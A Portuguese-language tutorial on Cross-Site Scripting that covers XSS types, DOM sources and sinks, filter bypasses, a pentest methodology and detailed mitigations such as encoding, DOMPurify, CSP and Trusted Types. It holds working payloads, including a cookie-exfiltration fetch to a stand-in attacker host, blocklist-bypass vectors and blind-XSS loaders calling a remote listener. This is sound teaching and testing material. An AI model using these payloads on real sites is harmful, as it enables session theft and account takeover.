Cross-Site Scripting (XSS) é a falha em que um atacante consegue fazer com que código JavaScript escolhido por ele seja executado no navegador de outro usuário, dentro da origem da aplicação vulnerável. Não é “um popup de alerta”: é execução de código arbitrário no contexto da vítima. Tudo que o JavaScript da sua página pode fazer — ler o DOM, disparar requisições autenticadas, acessar document.cookie, mexer no localStorage — o atacante também pode, agora em nome de quem visitou a página.

A gravidade vem justamente desse “contexto da vítima”. Como o script roda na sua origem, ele já está do lado de dentro da same-origin policy: pode falar com a sua API com os cookies de sessão do usuário, capturar o que ele digita, alterar o que ele vê e agir como ele. Por isso XSS é, ao mesmo tempo, uma das vulnerabilidades mais comuns e uma das mais subestimadas — e a defesa correta quase nunca é “filtrar a palavra script”.

Como funciona

A raiz de todo XSS é a mesma: dados controlados pelo atacante chegam a um lugar onde o navegador os interpreta como código, em vez de tratá-los como texto. A diferença entre os tipos está em onde esses dados trafegam antes de chegar lá.

Considere uma busca que devolve o termo pesquisado direto no HTML:

# Servidor vulnerável (Flask) — concatena input do usuário no HTML
@app.get("/buscar")
def buscar():
    termo = request.args.get("q", "")
    return f"<h1>Resultados para: {termo}</h1>"  # <- sem encoding

Uma busca normal por notebook produz <h1>Resultados para: notebook</h1>. Mas o atacante manda outra coisa:

GET /buscar?q=<script>fetch('https://evil.attacker/c?'+document.cookie)</script> HTTP/1.1
Host: app.exemplo.com

A resposta passa a conter:

<h1>Resultados para: <script>fetch('https://evil.attacker/c?'+document.cookie)</script></h1>

O navegador não tem como saber que aquele <script> veio de um parâmetro hostil — ele só vê uma tag de script válida na sua origem e a executa. Esse é o XSS refletido: o payload viaja na requisição, é “refletido” na resposta imediata e dispara quando a vítima abre um link preparado.

Detalhe técnico: um <script> inserido via innerHTML (DOM-based) não executa, por especificação do HTML. Mas um <script> que chega no HTML direto do servidor (refletido/armazenado), como neste exemplo, é parseado e executado normalmente — por isso a tag <script> funciona aqui, mas os exemplos de DOM-based usarão vetores como <img onerror>.

Os três tipos principais

  • Refletido (reflected): o input vem na requisição (URL, formulário) e é devolvido na resposta seguinte sem persistir. Requer entregar um link/POST malicioso à vítima. É o exemplo acima.
  • Armazenado (stored): o payload é gravado no servidor (comentário, nome de perfil, ticket de suporte, descrição de produto) e servido para todo mundo que abrir aquela página. Não precisa de link: a vítima só precisa visualizar o conteúdo. É o mais grave porque atinge muitos usuários e pode pegar até administradores no painel interno.
  • DOM-based: o servidor sequer participa da injeção. A falha está no JavaScript do cliente, que lê uma fonte controlável e a escreve em um sink perigoso. O payload pode nem chegar ao servidor (em URLs, o fragmento após # não é enviado na requisição HTTP).

Um exemplo clássico de DOM-based:

// Lê o fragmento da URL e injeta no DOM sem tratamento
const aba = location.hash.slice(1);            // source: controlável
document.getElementById("conteudo").innerHTML = aba;  // sink: perigoso

Com a URL https://app.exemplo.com/painel#<img src=x onerror=alert(document.domain)>, o innerHTML materializa a <img>, o onerror dispara (a imagem src=x falha de propósito) e temos execução — sem que nada disso tenha passado pelo backend, o que torna o problema invisível para WAFs e logs de servidor. Repare que aqui usamos <img onerror> e não <script>: HTML inserido por innerHTML não executa tags <script>, mas executa handlers de evento como onerror/onload.

Sources e sinks no DOM

Para caçar (e corrigir) DOM XSS, pense em fluxo de dados: de onde o dado vem (source) até onde ele é interpretado (sink).

Sources comuns (entrada controlável): location.href, location.hash, location.search, document.referrer, window.name, mensagens de postMessage, dados vindos de fetch/XMLHttpRequest de terceiros, localStorage/sessionStorage.

Sinks perigosos (interpretam como código):

SinkO que interpreta
innerHTML, outerHTMLHTML (executa onerror, onload, etc.; não executa <script> inserido)
document.writeHTML no fluxo de parsing (executa <script>)
eval, Function(), setTimeout("..."), setInterval("...")JavaScript (apenas quando recebem string)
element.setAttribute("href", x) / location = xURLs (esquema javascript:)
el.insertAdjacentHTMLHTML

A regra prática: todo dado que sai de um source e chega a um sink sem sanitização é um XSS esperando para acontecer.

Variações e bypasses

XSS não se resume aos três tipos didáticos. Quem testa de verdade encontra variantes que enganam filtros ingênuos.

O contexto mudou — e o escaping também precisa mudar. O mesmo input é seguro em um lugar e fatal em outro. Veja a mesma variável NOME em quatro contextos:

<!-- 1. Contexto HTML (corpo) -->
<p>Olá, NOME</p>
<!-- payload: <script>alert(1)</script>  → precisa escapar < > & -->

<!-- 2. Contexto de ATRIBUTO -->
<input value="NOME">
<!-- payload: "><script>alert(1)</script>  → o " fecha o atributo -->

<!-- 3. Contexto JavaScript -->
<script>var u = "NOME";</script>
<!-- payload: ";alert(1);//  → o " fecha a string e injeta código -->

<!-- 4. Contexto URL -->
<a href="NOME">link</a>
<!-- payload: javascript:alert(1)  → esquema perigoso, não basta escapar aspas -->

Repare que escapar < e > resolve o contexto 1, mas não protege o 2 (basta uma aspa para fechar o atributo), nem o 3 (a quebra é dentro de uma string JS), nem o 4 (o problema é o esquema javascript:, não um caractere HTML). É por isso que a defesa primária é encoding sensível ao contexto, e não uma lista de caracteres proibidos.

Atenção ao contexto 3: o escaping correto para uma string dentro de <script> não é o HTML-encoding comum. Codificar </> ali não impede o ataque (a injeção é com " e ;), e ainda corromperia o JavaScript. O caminho seguro é não interpolar dados crus dentro de <script>: serialize com JSON.stringify no servidor ou injete o valor via data-*/<script type="application/json"> e leia com textContent/JSON.parse no cliente.

Bypasses de filtros baseados em blocklist. Quando a aplicação tenta remover <script> ou a palavra alert, os contornos são abundantes:

<img src=x onerror=alert(document.domain)>      <!-- nem precisa de <script> -->
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<iframe src="javascript:alert(1)">
<a href="java&#115;cript:alert(1)">x</a>        <!-- entidade HTML quebra o filtro -->
<scr<script>ipt>alert(1)</scr</script>ipt>      <!-- filtro que remove "script" uma vez -->

Dois desses merecem nota. No quinto, &#115; é a entidade HTML de s: o filtro vê a string literal java&#115;cript: (que não casa com javascript:), mas o navegador decodifica a entidade no momento de parsear o atributo href, resultando em javascript:alert(1). No sexto, um filtro que faz um único replace("<script>", "") é derrotado: ao remover o <script> interno de <scr<script>ipt>, as duas metades se juntam e sobra um <script> válido. Por isso remover padrões é uma estratégia perdida.

Mutation XSS (mXSS). Mais sofisticado: um HTML que parece inofensivo é reescrito pelo próprio navegador ao ser inserido via innerHTML, e a reescrita cria uma tag executável que não existia no texto original. É o terror de sanitizadores caseiros — o HTML “limpo” muta para algo perigoso quando o parser do navegador o normaliza (casos clássicos envolvem <noscript>, <template>, SVG/MathML e namespaces). É a razão de usar um sanitizador maduro como o DOMPurify, que conhece e neutraliza essas mutações, em vez de escrever o seu.

Self-XSS. O atacante convence a própria vítima a colar um payload no console do navegador (“cole isto para liberar um recurso”). Sozinho tem baixo impacto (a vítima ataca a si mesma), mas vira sério quando encadeado com outro vetor — por exemplo, um CSRF que persiste o payload colado, transformando self-XSS em armazenado.

Blind XSS. O payload é armazenado em um lugar que você não vê executar — um campo de “feedback”, um User-Agent logado, um formulário de suporte que só é aberto depois por um analista, no painel interno. A execução acontece em outro contexto, mais tarde. Detecta-se com interação fora de banda (OOB): o payload faz uma chamada para um servidor seu, e você descobre o XSS quando o ping chega.

Worms de XSS. Em XSS armazenado dentro de uma rede social ou plataforma colaborativa, o payload pode, ao executar no navegador de uma vítima, republicar a si mesmo no perfil dela — propagando-se de usuário para usuário. O caso histórico do Samy no MySpace, em 2005, infectou mais de um milhão de perfis em menos de 24 horas. É o XSS levado à escala de epidemia.

Como exploramos no pentest

A visão do atacante é metódica: confirmar a injeção, identificar o contexto e só então montar o payload mínimo que aquele contexto exige.

1. Localizar e confirmar o ponto de reflexão. Mandamos um marcador único e inofensivo (ex.: il7x9q) em cada parâmetro, cabeçalho e campo, e procuramos onde ele reaparece — na resposta HTML ou no DOM já renderizado. No Burp Suite, o Burp Scanner automatiza essa varredura. Para descobrir parâmetros ocultos que sequer estão documentados, usamos o Param Miner.

2. Determinar o contexto exato. Onde o marcador caiu? Dentro de <p>texto</p>? Dentro de value="..."? Dentro de um <script>? Em um atributo href? O contexto define o “caractere de fuga” necessário (<, ", ', ou um esquema de URL). Injetamos os caracteres de teste — '<"> — e observamos quais sobrevivem sem encoding na resposta. Os que passam intactos são a chave.

3. Montar o payload adequado ao contexto. Para validação usamos algo que prova execução sem ambiguidade e que não é destrutivo:

<!-- prova de conceito de impacto, não destrutiva -->
"><script>alert(document.domain)</script>

Usar document.domain em vez de alert(1) deixa claro no relatório em qual origem o código executou — evidência que vale ouro. (Lembre que esse payload com <script> é eficaz em reflexão server-side; para um sink DOM como innerHTML, troque para "><img src=x onerror=alert(document.domain)>.)

4. Caçar DOM XSS. Aqui o servidor não ajuda. Usamos o DOM Invader (embutido no navegador do Burp) para rastrear o fluxo source → sink em tempo real, ou o DevTools com breakpoints em innerHTML/eval. O alvo são as URLs com # e os handlers de postMessage.

5. Disparar blind XSS via OOB. Para campos cuja saída não vemos, plantamos um payload que liga de volta para um listener nosso — o Burp Collaborator ou um serviço como o xsshunter:

<script src="https://SEU-ID.oastify.com/x.js"></script>

Quando um analista interno abre aquele ticket dias depois, o navegador dele carrega nosso script e o Collaborator registra a chamada, com IP, User-Agent e (com um payload mais completo) uma captura do DOM. É a forma mais confiável de provar blind XSS. Observe que, se o ponto de injeção for um sink DOM via innerHTML, a tag <script src> não executa; nesse caso use <img src=x onerror="import('https://SEU-ID.oastify.com/x.js')"> ou equivalente.

6. Avaliar a CSP existente e procurar bypasses. Se há Content-Security-Policy, ela pode reduzir ou neutralizar o impacto. Analisamos a política (o CSP Evaluator do Google ajuda) buscando fraquezas clássicas: unsafe-inline, unsafe-eval, um domínio de CDN na allowlist que hospeda um JSONP ou um arquivo Angular/AngularJS explorável, ou um script-src com curingas amplos. Uma CSP mal configurada dá uma falsa sensação de segurança — e um bypass dela costuma ser um finding por si só.

Resumo para o relatório

  • Impacto: execução de JavaScript arbitrário no contexto da origem da aplicação, no navegador da vítima — permitindo roubo de sessão/cookies, account takeover, keylogging, exfiltração de dados exibidos na página e ações autenticadas em nome da vítima. Em XSS armazenado, atinge múltiplos usuários (inclusive administradores) e pode se propagar como worm.
  • Severidade: Alta a Crítica. Refletido típico ~6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N); armazenado atingindo conta privilegiada chega a Crítico (8.0+). Self-XSS isolado: Baixa. Ajuste o vetor ao caso real (impacto, escopo e interação variam).
  • Pré-condições: um ponto de injeção que chega a um contexto interpretável sem encoding/sanitização; para refletido, induzir a vítima a abrir um link/POST; para armazenado, apenas que a vítima visualize o conteúdo. Ausência ou fraqueza de CSP e de HttpOnly amplifica o impacto.
  • Evidência sugerida: requisição com o payload e a resposta mostrando a reflexão sem encoding; captura do alert(document.domain) executando; para blind XSS, o log do Collaborator/listener OOB (timestamp, IP, origem); para DOM XSS, o trecho de código com source e sink e o rastro do DOM Invader.

Como mitigar

A defesa do desenvolvedor tem uma camada primária e várias de profundidade. A primária é output encoding sensível ao contexto: no momento em que você insere um dado em uma página, codifique-o para o contexto exato em que ele entra.

# ERRADO: concatenação crua
return f"<h1>Resultados para: {termo}</h1>"

# CERTO: encoding para contexto HTML
from markupsafe import escape
return f"<h1>Resultados para: {escape(termo)}</h1>"
# < vira &lt;  > vira &gt;  " vira &#34;  ' vira &#39;  → tratado como TEXTO, não código

Na prática, a maioria dos motores de template server-side (Jinja2, Django, Razor, Thymeleaf) já faz esse escaping HTML por padrão; o perigo aparece quando você desliga o auto-escaping (| safe, mark_safe, Html.Raw) ou concatena strings à mão como no exemplo “ERRADO”. Quando essa mesma entrada é avaliada como código de template, e não como dado, surge o primo server-side do XSS — o Server-Side Template Injection; a nossa cheatsheet de SSTI lista payloads de detecção e RCE por engine.

Use o auto-escaping do framework — e conheça suas armadilhas. React, Angular e Vue escapam a interpolação por padrão. Em React, <div>{nome}</div> é seguro automaticamente. O perigo está nas “saídas de emergência” que desligam essa proteção:

// React — perigoso: ignora o auto-escaping
<div dangerouslySetInnerHTML={{ __html: comentario }} />
<!-- Vue — perigoso -->
<div v-html="comentario"></div>
// Angular — perigoso
this.html = this.sanitizer.bypassSecurityTrustHtml(comentario);

Esses três são as portas de XSS mais comuns em SPAs modernas. A regra: nunca passe dados controláveis para dangerouslySetInnerHTML, v-html ou bypassSecurityTrust* sem sanitizar antes (ver DOMPurify abaixo). Vale lembrar que o auto-escaping cobre o contexto HTML/atributo da interpolação, mas não protege automaticamente contra href="javascript:..." montado a partir de dado controlável — esquemas de URL ainda exigem validação explícita.

Evite os sinks perigosos. Prefira APIs que tratam dado como texto:

// ERRADO
el.innerHTML = dadoDoUsuario;

// CERTO — textContent nunca interpreta HTML
el.textContent = dadoDoUsuario;

// Para construir elementos, crie nós, não strings
const link = document.createElement("a");
link.textContent = nome;          // texto seguro
link.setAttribute("href", urlValidada);  // valide o esquema antes

E valide o esquema de URLs antes de colocá-las em href/src: permita apenas https: (e talvez mailto:), rejeitando javascript: e data:.

function urlSegura(u) {
  try {
    const { protocol } = new URL(u, location.origin);
    return ["https:", "mailto:"].includes(protocol) ? u : "about:blank";
  } catch {
    return "about:blank";
  }
}

Quando você precisa permitir HTML rico (um editor de texto, por exemplo), não escreva seu próprio sanitizador — use o DOMPurify, que entende inclusive as mutações de mXSS:

import DOMPurify from "dompurify";

// Sanitiza HTML rico mantendo só tags/atributos seguros
const limpo = DOMPurify.sanitize(htmlDoUsuario, {
  ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "li"],
  ALLOWED_ATTR: ["href"],
});
el.innerHTML = limpo;  // agora seguro

Content-Security-Policy como defesa em profundidade. Uma CSP estrita baseada em nonce impede que scripts injetados executem mesmo que um XSS escape do encoding:

Content-Security-Policy: script-src 'nonce-r4nd0m2026' 'strict-dynamic'; object-src 'none'; base-uri 'none'

Só scripts com o nonce correto (gerado por requisição e impossível de adivinhar) rodam; um <script> injetado pelo atacante não tem o nonce e é bloqueado pelo navegador. O 'strict-dynamic' permite que um script confiável carregue outros sem precisar listar cada domínio, e base-uri 'none' evita que um <base> injetado sequestre URLs relativas. Nunca use unsafe-inline em script-src — ele anula a proteção (em navegadores que entendem strict-dynamic, o unsafe-inline é ignorado quando há nonce, mas mantê-lo na política é um cheiro de configuração ruim).

Trusted Types leva isso adiante: faz o navegador recusar qualquer atribuição de string crua a sinks de DOM perigosos como innerHTML, forçando que tudo passe por uma policy de sanitização. Fecha a porta da grande maioria dos DOM XSS por construção (não cobre, por si só, vetores fora dos sinks de “script”, como href="javascript:", que continuam exigindo validação de URL). Atualmente é suportado pelos navegadores baseados em Chromium; em outros é ignorado sem quebrar a página, então funciona como reforço progressivo.

Content-Security-Policy: require-trusted-types-for 'script'

Cookies HttpOnly não previnem XSS, mas reduzem o impacto: um cookie de sessão HttpOnly não é legível por document.cookie, então o roubo direto de sessão via document.cookie falha (o atacante ainda pode agir via requisições autenticadas a partir do próprio navegador da vítima, mas perde o caminho mais fácil de exfiltrar a sessão).

Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax

Validação de entrada não substitui encoding de saída. Validar formato na entrada (e-mail é e-mail, idade é número) é boa higiene, mas o mesmo dado válido pode ser inofensivo em um contexto e perigoso em outro. O XSS se resolve no momento da saída, codificando para o contexto de destino — só ali se sabe se o dado vira HTML, atributo, JS ou URL.

Checklist de mitigação

  • Output encoding sensível ao contexto em toda inserção de dado na página (HTML, atributo, JS, URL).
  • Confiar no auto-escaping do framework e auditar todo uso de dangerouslySetInnerHTML, v-html, bypassSecurityTrust* e de “saídas de emergência” de templates (| safe, mark_safe, Html.Raw).
  • Evitar sinks perigosos (innerHTML, document.write, eval, setTimeout/setInterval com string); preferir textContent e createElement/setAttribute.
  • Validar o esquema de URLs (só https:/mailto:) antes de href/src; rejeitar javascript: e data:.
  • Sanitizar HTML rico com DOMPurify (nunca um sanitizador caseiro) — cobre mXSS.
  • CSP estrita baseada em nonce + strict-dynamic; sem unsafe-inline/unsafe-eval; object-src 'none' e base-uri 'none'.
  • Trusted Types (require-trusted-types-for 'script') para blindar sinks no DOM.
  • Cookies de sessão com HttpOnly, Secure e SameSite para conter o impacto.
  • Tratar todas as entradas — incluindo cabeçalhos, User-Agent e campos internos — como vetores de blind XSS.

XSS é, no fundo, uma falha de confusão entre dado e código: em algum ponto, texto que o atacante controla foi interpretado como instrução. A defesa madura não tenta adivinhar quais caracteres são “perigosos” na entrada — ela garante que, na saída, todo dado seja inequivocamente tratado como dado, no contexto exato em que aparece. Quem entende contexto vence o XSS; quem confia em blocklist apenas adia a próxima injeção.